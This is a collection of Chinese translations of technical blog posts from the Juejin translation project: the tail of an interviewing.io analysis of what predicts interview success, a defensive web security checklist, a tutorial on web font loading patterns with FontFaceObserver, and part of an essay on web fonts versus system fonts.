的公司面试时,更有可能成功**(p=0.037)。 那么,为什么公司使用的语言是 Java 时,使用对方公司的语言会有帮助,而 Python 和 C++则没有呢?一个可能的解释是特定编程语言的社区(例如 Java)更看重程序员在该种语言上的工作经验。也有可能是因为使用 Java 的公司的面试官更有可能问出熟悉 Java 的人能回答得更好的问题。 ![](https://cdn-images-1.medium.com/max/2000/1*scSrZGC6Zy9a_ij1S0kZsg.png) #### 你使用什么语言,和别人眼中你的沟通能力有关吗? > **“精巧地使用一门语言就像使用巫术一样。”** — Charles Baudelaire 虽然语言选择对总体表现的影响不那么大(使用 Java 语言的公司除外),我们很好奇,选择不同的语言是否在其他维度上影响面试结果。 例如,Python 之类非常易读的语言,可能导致面试者能够更好地交流。另外,C++ 之类底层的语言可能使面试者在技术能力上的评分更高。 另外,非常易读或者非常底层的语言,可能使得这两个分数相关(比如,也许有一个 C++ 候选人不能解释清楚自己在做什么,但是写的代码效率很高)。下面的表显示,面试者的技术能力和沟通能力的评分并没有可见的差异,对于各种语言都是如此。 ![](https://cdn-images-1.medium.com/max/1600/1*Cin1yM1gw62D2Gl1fhdG-w.png) **另外,无论如何,技术能力似乎和沟通能力紧密相关——不管什么语言,技术表现很好的面试者沟通能力不好,是很罕见的,反之亦然。**, 这很大程度上拆穿了工程师往往笨拙、语无伦次的谣言。 (我见过的最好的工程师都很擅长分解复杂的概念,并把它们向外行解释。为什么总有人认为优秀的程序员不擅社交?我完全想不通。) #### 面试时长 > **“年轻的时候搞砸各种事情是没有关系的;你的恢复能力还很强。”** — Harold Prince 我们都经历过结束一场面试时,感觉自己表现很糟糕的情况。 通常,这种发挥不佳的感觉是出于我们自己发现,或者道听途说的经验法则。我们可能发现自己在想:“面试持续的时间不长?这很可能不是个好消息……”或者“我在面试中几乎什么都没有写!我肯定过不了。”使用自己的数据,我们试图研究这些衡量面试表现的经验法则是否有用。 首先,我们观察了面试的时间长度。面试时间短是否意味着面试者表现非常糟糕,面试官只能提早结束?或者,可能面试官不太有时间,或者他很快发现你是一个特别优秀的候选人?下图显示了成功与失败的候选人的面试时长(以分钟计)。 **从表格上我们很快可以看到:成功和失败的面试在时长上并没有差异——成功面试的平均时长是51.00分钟,而失败面试的平均长度是49.95分钟。差异是不显著的**。 (对于本帖子中的每一个比较,我们用 Fisher-Pitman 置换检验来比较平均值的差异。) ![](https://cdn-images-1.medium.com/max/1600/1*kUsYEVIdbSKNWH5Ea-ks_w.png) #### 代码量 > **“简洁是智慧的灵魂。”** —— 威廉·莎士比亚 你可能经历过完全失败的面试。面试官问你一个你几乎不理解的问题,你问他“二分查找什么?”,并且在整个过程中几乎没有写任何代码。你可能希望纯粹通过聪明、魅力或者高级的问题解决能力通过这个面试。为了检验这种说法是否正确,我们观察了面试者所写代码的长度。下图展示了成功和失败的面试者所写代码的长度。从中很快可以发现,这两者还是很有差别的——失败的面试代码量更少。有两个现象可能导致这个问题。首先,不成功的面试者可能一开始写的代码就比较少。另外,他们可能更倾向于删除很多自己写出的失败的代码。 ![](https://cdn-images-1.medium.com/max/2000/1*OyxyeBmyDfMdJaYyCDi6ng.png) **成功的面试最终的代码平均有 2045 个字符,而不成功的平均只有 1760 个字符。** 这是很大的区别!这个发现是统计显著的,而且很可能不那么令人吃惊。 #### 代码模块化 > **“成熟程序员的标志是,愿意抛弃自己花时间写的代码,如果它没有意义的话。”** — Bram Cohen 除了看看你写了 *多少* 代码以外,我们也可以考虑一下代码的类型。传统的观点是好的程序员不用回收代码——他们写出模块化的代码并不断复用。我们希望知道在面试过程中,有哪些行为是受到鼓励的。我们看了用 Python 进行的面试[5](http://blog.interviewing.io/#guide-fn5),并且数了最终的版本中代码定义了多少函数。我们想知道,成功的面试者是否定义了更多函数——更多的函数并不是模块化的定义,但根据我们的经验,这是一个标志模块化程度的很强的信号。同样,我们不可能断言其中存在很强的因果联系——也许有的面试官问的问题本身就会导致面试者写出更多或更少的函数。不管怎样,这是一个值得研究的趋势。 下面的图展示了面试官愿意和不愿意雇佣的面试者的 Python 函数数量的对比。很快可以发现,成功和失败的面试在这方面是*有*差别的。成功的面试者会写出更*多*的函数。 ![](https://cdn-images-1.medium.com/max/2000/1*tJ71vF6YBjv-fq489afxSg.png) **就平均水平而言,成功的 Python 面试者定义 3.29 个函数,而不成功的定义了 2.71 个。这个差异是统计显著的。结果是,面试官确实会对写出他们期望的代码的面试者有所奖励。** #### 你的代码是否运行重要吗? > **“要快速行动,不要害怕弄坏东西。如果你什么都没有弄坏,你就做得还不够快。”** — 马克·扎克伯格 > **“最强大的debug工具仍然是缜密的思维,以及准确安放的print语句。”*** — Brian Kernighan 对于技术面试,常见的观点是面试官并不真的在乎你的代码是否能够运行——他们关心的是解决问题的技能。我们收集了面试者写的代码是否运行,以及是否能够编译的数据,希望看看我们的数据中是否有这方面的证据。成功与不成功的面试的代码中,含有错误的概率是否有差异?另外,如果面试者犯了很多语法错误,他是否还可以被雇佣? 为了回答这些问题,我们查看了数据。我们把数据限制到超过 10 分钟,并且有超过5份代码被执行的面试。这过滤掉了面试官不希望面试者真的运行代码,或者由于某种原因提前终止的面试。接下来,我们测量了出现错误的代码的比例。[5](http://blog.interviewing.io/#guide-fn5) 当然,这种方式有它的局限性——比如,候选人可能写出能够编译,但是答案稍有不正确的代码。他们也可能得到正确的答案,却把它写到 stderr!虽然如此,这可以帮助我们感觉到它是否有差异。 下面的表给出了数据的一个概要。X 轴显示了所有执行次数中没有错误的代码的比例。所以,如果代码执行了 3 次,但只有 1 条错误信息,就算在 “30% - 40%” 一栏中。Y 轴显示所有面试中,成功和失败的面试处于该区域的比例。看一看下面的表就会发现,平均情况下成功的面试者会写出更多的没有错误的代码。但这种差异是否是显著的呢? ![](https://cdn-images-1.medium.com/max/2000/1*434O4qWrzxlU6YltbN6sIw.png) 就平均水平而言,成功的面试者的代码在 64% 的情况下运行成功(没有产生错误),而不成功的候选人的代码在 60% 的情况下可以成功运行,这个差异当然是显著的。 **同样,我们不能声称有任何因果联系。我们主要学到的是,成功的候选人通常写出的代码能够运行得更好,无论面试官在面试开始时告诉你什么。** #### 在开始写代码之前是否应该等待一会,整理思路? > **“不要忘记沉默的力量,不断出现的扰乱人思路的暂停,可能会使你的对手非常紧张。”** — Lance Morrow 我们也很好奇,成功的面试者在过程中是否会放慢节奏。面试问题通常是很复杂的!看到一个问题以后,后退一步去想一个完整的计划,可能比直接跳进去要好。为了验证这种观点是否正确,我们测量了候选人在面试中第一次运行代码的时间。下面是一个直方图,展示了成功和失败的面试者在开始面试之后,第一次运行代码的时间。很快地看一眼,你就可以发现,成功的候选人在开始运行代码之前,会等待得稍微久一点,虽然差别不是很大。 ![](https://cdn-images-1.medium.com/max/2000/1*I0npBvlvkI3JVWr5Toi1_g.png) 更准确地说,**就平均水平而言,成功的候选人在整个面试过程的 27% 处第一次运行代码,而不成功的候选人在 23.9% 处首次运行,这个差异是显著的**。当然,这种现象还有其它的解释。例如,也许成功的候选人更擅长把时间花在拍面试官的马屁上。而且,像平常一样,我们也不能声称其中有因果关系——如果你在面试过程中花5分钟时间坐着,什么也不说,这将对你没有什么帮助。但是,这样做会对第一次运行代码的时间产生影响。 ### 结论 总而言之,我们试图探究是什么使得面试官说:“你知道吗,我真的想雇佣这个人。”。这个帖子是我们的首次尝试。由于所有的数据都是观察数据,声称其中有因果联系是很困难的。 成功的面试者可能表现出特定的行为,但模仿这些行为并不保证你能成功。但是,这使我们有证据支持(或反对)你在网上看到的关于面试的许多建议。 除此之外,还有很多事情可以做。这是第一个对我们的数据(在很多层面上,它蕴含着关于面试的宝贵信息)的定量分析。接下来,我们打算做一个更深层、定性的研究,并开始把不同的问题分类,看看哪一类问题含有重要的信号。我们也将分析用户的二级行为,这些行为不是把样本代码做一个回归分析,看看面试时长就可以测量的。 如果你想帮助我们,并想要听一些技术面试,[写信给我](mailto:aline@interviewing.io)! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/web-developer-security-checklist.md ================================================ > * 原文地址:[Web Developer Security Checklist](https://simplesecurity.sensedeep.com/web-developer-security-checklist-f2e4f43c9c56) > * 原文作者:[Michael O'Brien](https://simplesecurity.sensedeep.com/@sensedeep) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [GangsterHyj](https://github.com/gangsterhyj) > * 校对者: [zaraguo](https://github.com/zaraguo), [yzgyyang](https://github.com/yzgyyang) # Web 开发者安全清单 ![](https://cdn-images-1.medium.com/max/800/1*UOl3ydmbG1ehgoSpBxdGFA.jpeg) 开发安全、健壮的云端 web 应用程序是**非常困难**的事情。如果你认为这很容易,要么你过着更高级的生活,要么你还正走向痛苦觉醒的路上。 倘若你已经接受 [MVP(最简可行产品)](https://en.wikipedia.org/wiki/Minimum_viable_product) 的开发理念,并且相信能在一个月内创造既有价值又安全的产品 —— 在发布你的“原型产品”之前请再三考虑。在你检查下面列出的安全清单后,意识到你在开发过程中忽视了很多极其重要的安全问题。至少要对你潜在的用户坦诚,让他们知道你并没有真正完成产品,而仅仅只是提供没有充分考虑安全问题的原型。 这份安全清单很简单,绝非覆盖所有方面。它列出了在创建 web 应用时需要考虑的比较重要的安全问题。 如果下面的清单遗漏了你认为很重要的问题,请发表评论。 ### **数据库** ### - 对识别用户身份的数据和诸如访问令牌、电子邮箱地址或账单明细等敏感数据进行加密。 - 如果数据库支持在空闲状态进行低消耗的数据加密 (如 [AWS Aurora](https://aws.amazon.com/about-aws/whats-new/2015/12/amazon-aurora-now-supports-encryption-at-rest/)),那么请激活此功能以加强磁盘数据安全。确保所有的备份文件也都被加密存储。 - 对访问数据库的用户帐号使用最小权限原则,禁止使用数据库 root 帐号。 - 使用精心设计的密钥库存储和分发密钥,不要对应用中使用的密钥进行硬编码。 - 仅使用 SQL 预备语句以彻底阻止 SQL 注入。例如,如果使用 NPM 开发应用,连接数据库时不使用 npm-mysql ,而是使用支持预备语句的 npm-mysql2 。 ### **开发** ### - 确保已经检查过软件投入生存环境使用的每个版本中所有组件的漏洞,包括操作系统、库和软件包。此操作应该以自动化的方式加入 CI/CD(持续集成/持续部署) 过程。 - 对开发环境系统的安全问题保持与生产环境同样的警惕,从安全、独立的开发环境系统构建软件。 ### **认证** ### - 确保所有的密码都使用例如 bcrypt 之类的合适的加密算法进行哈希。绝对不要使用自己写的加密算法,并正确地使用随机数初始化加密算法。 - 使用简单但充分的密码规则以激励用户设置长的随机密码。 - 使用多因素身份验证方式实现对服务提供商的登录操作。 ### **拒绝服务防卫** ### - 确保对 API 进行 DOS 攻击不会让你的网站崩溃。至少增加速率限制到执行时间较长的 API 路径(例如登录、令牌生成等程序)。 - 对用户提交的数据和请求在大小和结构上增强完整性限制。 - 使用类似 [CloudFlare](https://www.cloudflare.com/) 的全局缓存代理服务应用以缓解 [Distributed Denial of Service](https://en.wikipedia.org/wiki/Denial-of-service_attack) (DDOS,分布式拒绝服务攻击)对网站带来的影响。它会在你遭受 DDOS 攻击时被激活,并且还具有类似 DNS 查找等功能。 ### **网络交通** ### - 整个网站使用 TLS (安全传输层协议),不要仅对登录表单使用 TLS。 - Cookies 必须添加 httpOnly 和 secure 属性,且由属性 path 和 domain 限定作用范围。 - 使用 [CSP(内容安全策略)](https://en.wikipedia.org/wiki/Content_Security_Policy) 以禁止不安全的后门操作。策略的配置很繁琐,但是值得。 - 使用 X-Frame-Option 和 X-XSS-Protection 响应头。 - 使用 HSTS(HTTP Strict Transport Security) 响应强迫客户端仅使用 TLS 访问服务器,同时服务端需要将所有 HTTP 请求重定向为 HTTPS。 - 在所有表单中使用 CSRF 令牌,使用新响应头 [SameSite Cookie](https://scotthelme.co.uk/csrf-is-dead/) 一次性解决 CSRF 问题, SameSite Cookie 适用于所有新版本的浏览器。 ### **APIs** ### - 确保公有 API 中没有可枚举的资源。 - 确保每个访问 API 的用户都能被恰当地认证和授权。 ### **校验** ### - 使用客户端输入校验以及时给予用户反馈,但是不能完全信任客户端校验结果。 - 使用服务器的白名单校验用户输入。不要直接向响应注入用户信息,切勿在 SQL 语句里使用用户输入。 ### **云端配置** ### - 确保所有服务开放最少的端口。尽管通过隐藏信息来保障安全是不可靠的,使用非标准端口将使黑客的攻击操作更加困难。 - 在对任何公有网络都不可见的私有 VPC 上部署后台数据库和服务。在配置 AWS 安全组和对等互联多个 VPC 时务必谨慎(可能无意间使服务对外部可见)。 - 不同逻辑的服务部署在不同的 VPC 上,VPC 之间通过对等连接进行内部服务的访问。 - 让连接服务的 IP 地址个数尽可能少。 - 限制对外输出的 IP 和端口流量,以最小化 APT(高级持续性威胁)和“警告”。 - 始终使用 AWS 的 IAM(身份与访问管理)角色,而不是使用 root 的认证信息。 - 对所有操作和开发人员使用最小访问权限原则。 - 按照预定计划定期轮换密码和访问密钥。 ### **基础架构** ### - 确保在不停机的情况下对基础架构进行升级,确保以全自动的方式快速更新软件。 - 利用 Terraform 等工具创建所有的基础架构,而不是通过云端命令行窗口。基础架构应该代码化,仅需一个按钮的功夫即可重建。请不要手动在云端创建资源,因为使用 Terraform 就可以通过配置自动创建它们。 - 为所有服务使用集中化的日志记录,不该再利用 SSH 访问或检索日志。 - 除了一次性诊断服务故障以外,不要使用 SSH 登录进服务。频繁使用 SSH ,意味着你还没将执行重要任务的操作自动化。 - 不要长期开放任何 AWS 服务组的22号端口。 - 创建 [immutable hosts(不可变主机)](http://chadfowler.com/2013/06/23/immutable-deployments.html) 而不是使用一个经过你长期提交补丁和更新的服务器。。(详情请看博客 [Immutable Infrastructure Can Be More Secure](https://simplesecurity.sensedeep.com/immutable-infrastructure-can-be-dramatically-more-secure-238f297eca49))。 - 使用如 [SenseDeep](https://www.sensedeep.com/) 的 [Intrusion Detection System(入侵检测系统)](https://en.wikipedia.org/wiki/Intrusion_detection_system) 或服务,以最小化 [APTs(高级持续性威胁)](https://en.wikipedia.org/wiki/Advanced_persistent_threat) 。 ### **操作** ### - 关闭未使用的服务和服务器,关闭的服务器是最安全的。 ### **测试** ### - 审核你的设计与实现。 - 进行渗透测试 — 攻击自己的应用,让其他人为你的应用编写测试代码。 ### **最后,制定计划** ### - 准备用于描述网络攻击防御的威胁模型,列出可能的威胁和网络攻击参与者,并按优先级对其排序。 - 制定经得起实践考验的安全事故计划,总有一天你会用到它。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/web-font-loading-patterns.md ================================================ >* 原文链接 : [Web Font Loading Patterns](https://www.bramstein.com/writing/web-font-loading-patterns.html) * 原文作者 : [Bram Stein](https://www.bramstein.com/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [SHENXN](https://github.com/shenxn) * 校对者: [hikerpig](https://github.com/hikerpig), [L9m](https://github.com/L9m) # 网页端字体加载优化 网络字体加载看起来也许非常复杂,但如果你使用本文的字体加载模式的话,这也并不是一件复杂的事情。你可以将这些模式组合起来,创建一个兼容所有浏览器的字体加载方式。 这些模式的代码样例都使用了 [Font Face Observer](https://github.com/bramstein/fontfaceobserver),一个精简的网络字体加载器。Font Face Observer 将会根据浏览器的兼容情况使用最高效的方式来加载字体,所以这是一个非常棒的网络字体加载方式,同时你不需要为跨浏览器的兼容性而操心。 1. [基础字体加载模式](#basic-font-loading) 2. [分组字体加载模式](#loading-groups-of-fonts) 3. [限制字体加载时间](#loading-fonts-with-a-timeout) 4. [队列加载模式](#prioritised-loading) 5. [自定义字体显示行为](#custom-font-display) 6. [为缓存优化](#optimise-for-caching) 不存在一种普适所有情况的单一模式。选择一种适合你自己网站的字体加载模式才是最好的。 ## [](#basic-font-loading)基础字体加载模式 Font Face Observer 使用一种基于 Promise(译者注:Promise 对象是用于进行延迟或者异步运算的,一个 Promise 代表一个尚未执行,但是将会执行的操作) 的接口来提供对网络字体加载的完整控制。你字体放在哪里并不重要:你可以自行放置,也可以使用 [Google Fonts](http://www.google.com/fonts)、[Typekit](http://typekit.com/)、[Fonts.com](https://fonts.com/)、[Webtype](http://webtype.com/) 等服务。 为了保持模式示例的精简,这篇文章假设你将网络字体放在自己的服务器上。这意味着你的 CSS 文件中应该有一个或多个 `@font-face` 来定义你希望通过 Font Face Observer 加载的字体。为了简洁,`@font-face` 不会出现在所有的模式中,但是你应该假设它们存在。 @font-face { font-family: Output Sans; src: url(output-sans.woff2) format("woff2"), url(output-sans.woff) format("woff"); } 最基础的模式就是加载一个或多个独立的字体。你可以通过为每个字体创建一个单独的 `FontFaceObserver` 实例,并调用它们的 `load` 方法来实现。 var output = new FontFaceObserver('Output Sans'); var input = new FontFaceObserver('Input Mono'); output.load().then(function () { console.log('Output Sans has loaded.'); }); input.load().then(function () { console.log('Input Mono has loaded.'); }); 通过这种方式,每个网络字体将会被独立加载,这在字体间没有依赖关系且应该渐进渲染(即在加载完成后就渲染)时非常有用。与 [原生字体加载接口](https://www.w3.org/TR/css-font-loading/) 不同,你不需要将字体的 URL 传递给 Font Face Observer,它会使用 CSS 文件中已经定义的 `@font-face` 规则来加载字体。这样你就可以在使用 JavaScript 手动加载字体的同时,还能优雅降级到利用 CSS 的实现。 ## [](#loading-groups-of-fonts)分组字体加载模式 你也可以在加载多个字体的时候将它们分组:一个组内的字体只能全部加载成功或是全部加载失败。如果你加载的字体文件属于同一个字体族,且你希望仅在它们全部加载成功时才进行渲染,那么这种方式将会非常实用。这可以阻止浏览器在没能成功加载整个字体族时渲染出糟糕的网页。 var normal = new FontFaceObserver('Output Sans'); var italic = new FontFaceObserver('Output Sans', { style: 'italic' }); Promise.all([ normal.load(), italic.load() ]).then(function () { console.log('Output Sans family has loaded.'); }); 你可以使用 `Promise.all` 来对字体进行分组。只有在所有字体都成功加载后 Promise 才会被解析,一旦有某个字体加载失败,Promise 就会被拒绝。 将字体分组的另一个用途是减少页面布局的重新计算渲染。如果你逐步加载和渲染所有字体,浏览器将会因为网络字体和降级字体之间不同的尺寸而多次重新计算布局。将字体分组可以把多次计算布局优化为一次。 ## [](#loading-fonts-with-a-timeout)限制字体加载时间 有些时候字体需要很长时间来加载,但由于字体通常是用于渲染网站的主要内容——文字,长时间的加载就会造成问题。无限制地等待一个字体的加载是不可接受的。你可以通过向字体加载添加一个计时器来解决这个问题。 如下的辅助函数创建了一个计时器,超时后会返回一个被拒绝的 Promise. function timer(time) { return new Promise(function (resolve, reject) { setTimeout(reject, time); }); } 通过使用 `Promise.race`,我们可以让字体加载和计时器“竞速”。举个例子,如果字体在计时器触发前加载完成,字体就胜利了,Promise 将会被解析。如果计时器在字体加载完成前触发,Promise 就会被拒绝。 var font = new FontFaceObserver('Output Sans'); Promise.race([ timer(1000), font.load() ]).then(function () { console.log('Output Sans has loaded.'); }).catch(function () { console.log('Output Sans has timed out.'); }); 在这个例子中,字体与一个1秒的计时器竞速。除了与单个字体竞速,计时器还可以与一组字体竞速。这是一种简单而且有效的限制字体加载时间的方法。 ## [](#prioritised-loading)队列加载模式 通常情况下,只有部分字体对于渲染首屏内容来说是必要的。在加载其它可选字体之前先加载这些字体,将会极大程度地改善你网站的性能。你可以使用队列加载模式来实现。 var primary = new FontFaceObserver('Primary'); var secondary = new FontFaceObserver('Secondary'); primary.load().then(function () { console.log('Primary font has loaded.') secondary.load().then(function () { console.log('Secondary font has loaded.') }); }); 队列加载模式将会使次要字体依赖于主要字体。如果主要字体加载失败,次要字体将不会被加载。这会是一个非常重要的特性。 举个例子,你可以使用队列加载模式来加载一个小的主要字体以提供有限的支持,之后再加载一个更大的次要字体来提供更多特征和样式。因为主要字体非常小,它的加载和渲染将会非常快。如果主要字体加载失败,你可能也不希望加载次要字体,因为其很可能也会加载失败。 如果需要更详细的关于队列加载模式的信息,请参阅 Zach Leatherman 的文章 [Flash of Faux Text](http://www.zachleat.com/web/foft/) 以及 [Web Font Anti-Patterns: Data URIs](http://www.zachleat.com/web/web-font-data-uris/)。 ## [](#custom-font-display)自定义字体显示行为 浏览器显示网络字体前需要先通过网络下载字体,这通常需要一定的时间,并且不同的浏览器在下载网络字体时有不同的行为。一些浏览器在加载字体时隐藏文字,而另一些浏览器会先显示降级字体。这两种方法通常被称为 Flash Of Invisible Text(FOIT)和 Flash Of Unstyled Text(FOUT)。 ![](http://ww1.sinaimg.cn/large/a490147fgw1f3aa9x12itj21540lraf4.jpg) IE 和 Edge 使用 FOUT,即在网络字体加载完成之前显示降级字体。所有其他的浏览器都使用 FOIT,即在网络字体加载时隐藏文本。 一个新的 CSS 属性 `font-display`([CSS Font Rendering Controls](https://tabatkins.github.io/specs/css-font-display/))是用于控制这个行为的。然而,该特性依然处于开发阶段并尚未被任何浏览器支持(当前在 Chrome 和 Opera 中可以手动开启)。然而,我们可以使用 [Font Face Observer](https://github.com/bramstein/fontfaceobserver) 在所有的浏览器中实现相同的功能。 你可以通过仅在字体栈中放入加载完成的字体来使得使用 FOIT 的浏览器在加载网络字体时使用降级字体渲染。如果正在下载的字体不在字体栈中,那些浏览器就不会试图隐藏文本。 最简单的实现方法是在 `html` 元素上为三个网络字体加载状态设置不同的 class:loading(加载中),loaded(加载完成),以及 failed(加载失败)。 var font = new FontFaceObserver('Output Sans'); var html = document.documentElement; html.classList.add('fonts-loading'); font.load().then(function () { html.classList.remove('fonts-loading'); html.classList.add('fonts-loaded'); }).catch(function () { html.classList.remove('fonts-loading'); html.classList.add('fonts-failed'); }); 使用这三个 class 和一些简单的 CSS,你就可以在所有浏览器中实现 FOUT。我们为所有将要使用网络字体的元素定义降级字体。当 `fonts-loaded` class 出现在 `html` 元素上时,我们通过改变元素的字体栈来应用网络字体。这将会要求浏览器加载网络字体,但是因为这些字体已经下载完成了,渲染操作将能在瞬间完成。 body { font-family: Verdana, sans-serif; } .fonts-loaded body { font-family: Output Sans, Verdana, sans-serif; } 使用这种方法来加载网络字体可能会让你想到渐进增强(progressive enhancement),这不是一个巧合。FOUT 就是一种渐进增强。默认的体验是使用降级字体渲染,然后使用网络字体来增强体验。 实现 FOIT 同样简单。只要在网络字体开始加载时隐藏使用这些字体的内容,当字体加载完成后再重新显示。注意要记得处理加载失败的情况,即使网络字体加载失败,你的内容应该依然可见。 .fonts-loading body { visibility: hidden; } .fonts-loaded body, .fonts-failed body { visibility: visible; } 这样隐藏内容是否让你感到不适?对,隐藏内容应该在非常特殊的情况下才被使用,比如你的网络字体没有合适的降级字体,或者你知道字体已经被缓存了。 ## [](#optimise-for-caching)为缓存优化 其他的字体加载模式允许你自定义你加载字体的时间和方式。通常情况下,如果字体已经在缓存中,你会希望以不同的方式渲染字体。比如说,当字体已经被缓存时,就不需要先渲染降级字体了。我们可以通过使用 session storage 跟踪缓存情况的方式来实现。 当一个字体被加载后,我们在 session 中创建一个布尔型标记。这个标记将会保持在整个会话过程中,所以这会是判断文件是否在浏览器缓存中的一个很好的方法。 var font = new FontFaceObserver('Output Sans'); font.load().then(function () { sessionStorage.fontsLoaded = true; }).catch(function () { sessionStorage.fontsLoaded = false; }); 然后你就可以使用这个信息以在字体被缓存时改变字体加载策略。比如说,你可以在 `head` 元素中插入如下的 JavaScript 片段来直接渲染网络字体。 if (sessionStorage.fontsLoaded) { var html = document.documentElement; html.classList.add('fonts-loaded'); } 如果你使用这种方式加载字体,用户会在第一次访问你的网站时体验到 FOUT,但是随后的页面将会直接渲染网络字体。这样你既有渐进增强,又不会破坏重复访问者的体验。 ================================================ FILE: TODO/web-fonts-when-you-need-them-when-you-dont.md ================================================ > * 原文地址:[Web fonts: when you need them, when you don’t](https://hackernoon.com/web-fonts-when-you-need-them-when-you-dont-a3b4b39fe0ae) > * 原文作者:[David Gilbertson](https://hackernoon.com/@david.gilbertson) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/web-fonts-when-you-need-them-when-you-dont.md](https://github.com/xitu/gold-miner/blob/master/TODO/web-fonts-when-you-need-them-when-you-dont.md) > * 译者:[undead25](https://github.com/undead25) > * 校对者:[Usey95](https://github.com/Usey95) # 网络字体:什么时候需要,什么时候不需要 ![](https://cdn-images-1.medium.com/max/2000/1*Y4_EhogCnZQyALLuvQLDKQ.jpeg) 图片来源于 [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 上的 [Marcus dePaula](https://unsplash.com/photos/tk7OAxsXNL0?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 我并不热衷笼统的陈述你“应该”或“不应该”使用网络字体,但我认为应该有**一些**指导方针来帮助我们决定是否使用它们。 接下来的篇幅会很长,但是它的主旨是:如果你正在制作一个网站,即将去寻找完美的网络字体,请至少**考虑**使用系统字体。 也许你会这样考虑: ![](https://cdn-images-1.medium.com/max/2000/1*MpuDht99XGlRIFlhjFb2yQ.png) 我怀疑对于某些人来说,决策过程更像是这样: ![](https://cdn-images-1.medium.com/max/2000/1*UuhYbCYMjgFk18srTw6rIQ.png) 如果你一直在使用网络字体,那么认为“系统字体”很丑也不足为怪,因为“系统”这个词本身就会让人觉得很丑,所以你才会这么想。 为了让大家觉得是在看同一个页面,至少是在看同一本书,我想给大家展示一个使用系统字体的网页。它虽然不是最好的,但我希望能以此消除那些负面的观念。 ![](https://cdn-images-1.medium.com/max/2000/1*fp9yphAAvXxSD3WbYKXhMA.png) 并不丑啊。 --- 你可能希望打开你自己的网站并尝试以下字体,看看感觉如何: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; --- 或者你可以使用扩展测试驱动器,并使用类似于 [Stylebot](https://chrome.google.com/webstore/detail/stylebot/oiaejidbmkiecgbjeifoejpgmdaleoha) 的 Chrome 扩展程序来设置特定 CSS 选择器或站点的字体。这样,当你访问你的站点时,更改会保持一致。 有了这个简短介绍,下面让我们在那个流程图中的每个问题上花点时间。 ### 字体对你的品牌至关重要吗? 这是最简单的方法。如果答案是肯定的,请停止阅读 —— 下面没有什么可看的了。我真的不介意你直接跳到评论,告诉我我太天真了。 ![](https://cdn-images-1.medium.com/max/2000/1*olLYhG5bwvR-YvWwIomuDg.png) 只看这种字体,人就算了。 显然,我不会建议 **The New Yorker** 不使用 Irvin 字体,或者 Apple.com 不使用 San Francisco 字体。即使像耐克这样的网站,我也不会建议他们不要这样做(“One Nike Currency” 字体是十分平常的),因为那是**他们**的字体。 **结论**:如果你的字体是你品牌的一部分,那么显然要使用该字体。否则,请看下面的内容! ### 字体是否使你的网站更容易阅读? 看看这张图片中的文字,只看字体,内容是不相关的。 ![](https://cdn-images-1.medium.com/max/1600/1*wSyM5c15HIlxioEOpl2cPw.png) 我想如果你是一个煤矿工人,那这是相关的,只是这篇文章和它不相关。 让自己形成一个意见,稍后再回来。 --- 如果在你的网站上,连续阅读的平均字数是 4 个,那么眼疲劳不是那么的大。也许这就是为什么 Facebook、Twitter、Gmail 和 eBay 都使用系统字体(在大多数地方)。 但是,如果用户到你的网站上阅读 10 分钟,你希望你的文本能够很容易地吸引注意力。 (关于衬线的注意事项:到目前为止,我所使用的术语“系统字体”指的是将 font-family 设置为 `-apple-system, BlinkMacSystemFont` 等,它们是无衬线字体。同样的想法也适用于衬线字体。**The New York Times**, **The Boston Globe**, **The Australian** 这些网站都给 body 定义了像 `georgia, "times new roman", times, serif` 的字体。) Medium.com 是一个很好的例子,我确定你很熟悉它。显然他们在排版上花了很多心思。从那些可爱的短划线到你甚至都没有注意到的不同宽度的空格,Medium 的字体与系统字体是不一样的。 但这不应该让你认为一个网站有使用网络字体**才**容易阅读。 如果你是开发人员,可能已经花了很多时间盯着 GitHub 上的文字。你知道这些文字是没有加载任何一个网络字体实现的吗?太不可思议了。 我想如果明天 GitHub 从系统字体转换为 `Source Sans Pro`,没有人会注意到。同样,我敢打赌,如果 NPM 放弃了 `Source Sans Pro` 并使用系统字体,也没有人会注意到。 这就是它的关键,你的用户(不是你)会注意到网络字体和系统字体在可读性上的差异吗? 先不要回答,因为…… #### 维基百科的奇特案例 维基百科已经[对他们的排版做了大量的思考](https://www.mediawiki.org/wiki/Typography_refresh)。他们得出结论是,系统字体才是他们需要的。 这对他们来说挺好的。 但令我感到困惑的是,在桌面版的尺寸上,他们没有执行过一个度量标准(行宽度),并且使用的是 14px 的字体(在 2014 年更新之前,它是 13px)。 我认为这样做肯定是有充分的理由的,但此生我都不清楚是什么理由。也许与垂直扫描文章有关,我不知道。 我一直在使用 18px 文字和 700px 行宽度的维基百科,现在已经没有任何抱怨了。 ![](https://cdn-images-1.medium.com/max/2000/1*CGgCTocnhmQLpaWYeRh6-A.png) 感谢 [Skinny 拓展程序](https://chrome.google.com/webstore/detail/skinny/lfohknefidgmanghfabkohkmlgbhmeho)(无耻的插件)。 当我经常被迫返回到默认视图时,它就会进入我的脑海。 